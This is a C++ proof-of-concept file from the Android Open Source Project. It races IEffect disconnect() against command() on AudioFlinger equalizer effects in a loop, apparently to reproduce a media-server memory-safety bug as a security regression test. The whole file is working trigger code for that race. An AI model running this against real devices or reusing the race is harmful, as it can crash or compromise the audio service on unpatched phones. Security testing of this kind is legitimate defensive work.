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126 lines
4.0 KiB
126 lines
4.0 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <stdlib.h>
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#include <android/media/BnEffectClient.h>
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#include <android/media/IEffect.h>
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#include <android/content/AttributionSourceState.h>
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#include <hardware/audio_effect.h>
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#include <media/AidlConversion.h>
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#include <media/AudioSystem.h>
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#include <media/IAudioFlinger.h>
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using namespace android;
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using media::IEffect;
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struct EffectClient : public media::BnEffectClient {
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EffectClient() {}
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virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
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return binder::Status::ok();
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}
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virtual binder::Status enableStatusChanged(bool enabled __unused) {
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return binder::Status::ok();
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}
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virtual binder::Status commandExecuted(int32_t cmdCode __unused,
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const std::vector<uint8_t>& cmdData __unused,
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const std::vector<uint8_t>& replyData __unused) {
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return binder::Status::ok();
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}
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};
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sp<IEffect> gEffect;
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void *disconnectThread(void *) {
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usleep(5);
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if (gEffect != NULL && gEffect.get() != NULL) {
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gEffect->disconnect();
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}
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return NULL;
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}
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int main() {
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static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
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0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
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effect_descriptor_t descriptor;
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memset(&descriptor, 0, sizeof(descriptor));
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descriptor.type = EFFECT_UIID_EQUALIZER;
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descriptor.uuid = *EFFECT_UUID_NULL;
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sp<EffectClient> effectClient(new EffectClient());
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const int32_t priority = 0;
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audio_session_t sessionId = (audio_session_t)(128);
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const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
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const std::string opPackageName("com.exp.poc");
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int32_t id;
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int i, enabled;
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status_t err;
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std::vector<uint8_t> cmdData;
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std::vector<uint8_t> replyData;
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gEffect = NULL;
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pthread_t pt;
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const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
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AudioDeviceTypeAddr device;
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android::content::AttributionSourceState attributionSource;
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attributionSource.packageName = opPackageName;
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attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
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for (i=0; i<100; i++) {
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media::CreateEffectRequest request;
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request.desc = VALUE_OR_RETURN_STATUS(
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legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
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request.client = effectClient;
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request.priority = priority;
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request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
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request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
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request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
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request.attributionSource = attributionSource;
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request.probe = false;
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media::CreateEffectResponse response;
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err = audioFlinger->createEffect(request, &response);
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if (err == OK) {
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id = response.id;
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enabled = response.enabled;
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gEffect = response.effect;
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descriptor = VALUE_OR_RETURN_STATUS(
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aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
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}
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if (gEffect == NULL || err != NO_ERROR) {
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return -1;
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}
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pthread_create(&pt, NULL, disconnectThread, NULL);
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binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
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sizeof(effect_config_t),
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&replyData, &err);
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if (!status.isOk()) {
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err = status.transactionError();
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}
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usleep(50);
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}
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sleep(2);
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return 0;
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}
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